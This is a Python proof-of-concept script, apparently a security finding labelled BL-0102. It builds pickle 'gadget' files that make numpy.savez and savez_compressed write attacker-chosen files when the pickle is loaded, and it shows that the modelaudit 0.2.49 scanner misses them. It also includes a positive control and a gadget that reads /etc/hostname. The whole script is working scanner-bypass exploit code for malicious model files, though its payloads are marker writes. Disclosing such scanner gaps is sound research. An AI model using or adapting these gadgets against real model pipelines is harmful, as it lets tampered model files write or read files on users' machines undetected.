File size: 2,974 Bytes
cba4a3a
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
"""
BL-0102 gadget builder -- modelaudit 0.2.49 numpy.savez / savez_compressed
file-write-on-load scanner bypass.

Builds four standalone pickle files that each carry a single REDUCE opcode:

  evil_savez.pkl            -> numpy.savez(<out>/MARK_savez, [13.37])
  evil_savez_compressed.pkl -> numpy.savez_compressed(<out>/MARK_savezc, [13.37])
  control_numpy_save.pkl    -> numpy.save(<out>/MARK_save, [13.37])   (POSITIVE CONTROL)
  secondary_fromfile.pkl    -> numpy.fromfile('/etc/hostname')        (READ-side corroboration)

Payloads are BENIGN: they write a small, valid .npz/.npy marker to an
attacker-controlled ABSOLUTE path, or read a world-readable file. No RCE,
no network, no destructive action.

The REDUCE that pickle emits here is identical to what an attacker would ship
inside a .pkl / PyTorch .bin / joblib model file; on unpickle Python calls the
first element (numpy.savez) with the second element (the args tuple).

Usage:  python build_gadgets.py [OUTDIR]   (default OUTDIR=/work/final)
"""
import os
import pickle
import sys

OUTDIR = sys.argv[1] if len(sys.argv) > 1 else "/work/final"
os.makedirs(OUTDIR, exist_ok=True)

MARK_SAVEZ = os.path.join(OUTDIR, "MARK_savez")   # numpy.savez appends .npz
MARK_SAVEZC = os.path.join(OUTDIR, "MARK_savezc")  # -> .npz
MARK_SAVE = os.path.join(OUTDIR, "MARK_save")     # numpy.save appends .npy
MARKER_CONTENT = [13.37]


class SavezGadget:
    def __reduce__(self):
        import numpy
        return (numpy.savez, (MARK_SAVEZ, MARKER_CONTENT))


class SavezCompressedGadget:
    def __reduce__(self):
        import numpy
        return (numpy.savez_compressed, (MARK_SAVEZC, MARKER_CONTENT))


class SaveGadget:
    # POSITIVE CONTROL: numpy.save reaches builtins.open('wb') directly,
    # so modelaudit's FILE_WRITE call-graph analyzer flags it CRITICAL.
    def __reduce__(self):
        import numpy
        return (numpy.save, (MARK_SAVE, MARKER_CONTENT))


class FromfileGadget:
    # SECONDARY: arbitrary file READ via numpy.fromfile (C-level reader,
    # opaque to the Python source call-graph).
    def __reduce__(self):
        import numpy
        return (numpy.fromfile, ("/etc/hostname",))


def emit(name, obj):
    path = os.path.join(OUTDIR, name)
    with open(path, "wb") as f:
        # protocol 0 -> human-readable REDUCE, easy to disassemble
        pickle.dump(obj, f, protocol=0)
    return path


built = [
    emit("evil_savez.pkl", SavezGadget()),
    emit("evil_savez_compressed.pkl", SavezCompressedGadget()),
    emit("control_numpy_save.pkl", SaveGadget()),
    emit("secondary_fromfile.pkl", FromfileGadget()),
]

print("BUILT:")
for p in built:
    print(f"  {p}  ({os.path.getsize(p)} bytes)")

# Show the opcode stream of the primary gadget so the REDUCE is auditable.
import pickletools  # noqa: E402

print("\n=== pickletools.dis(evil_savez.pkl) ===")
with open(os.path.join(OUTDIR, "evil_savez.pkl"), "rb") as f:
    pickletools.dis(f.read())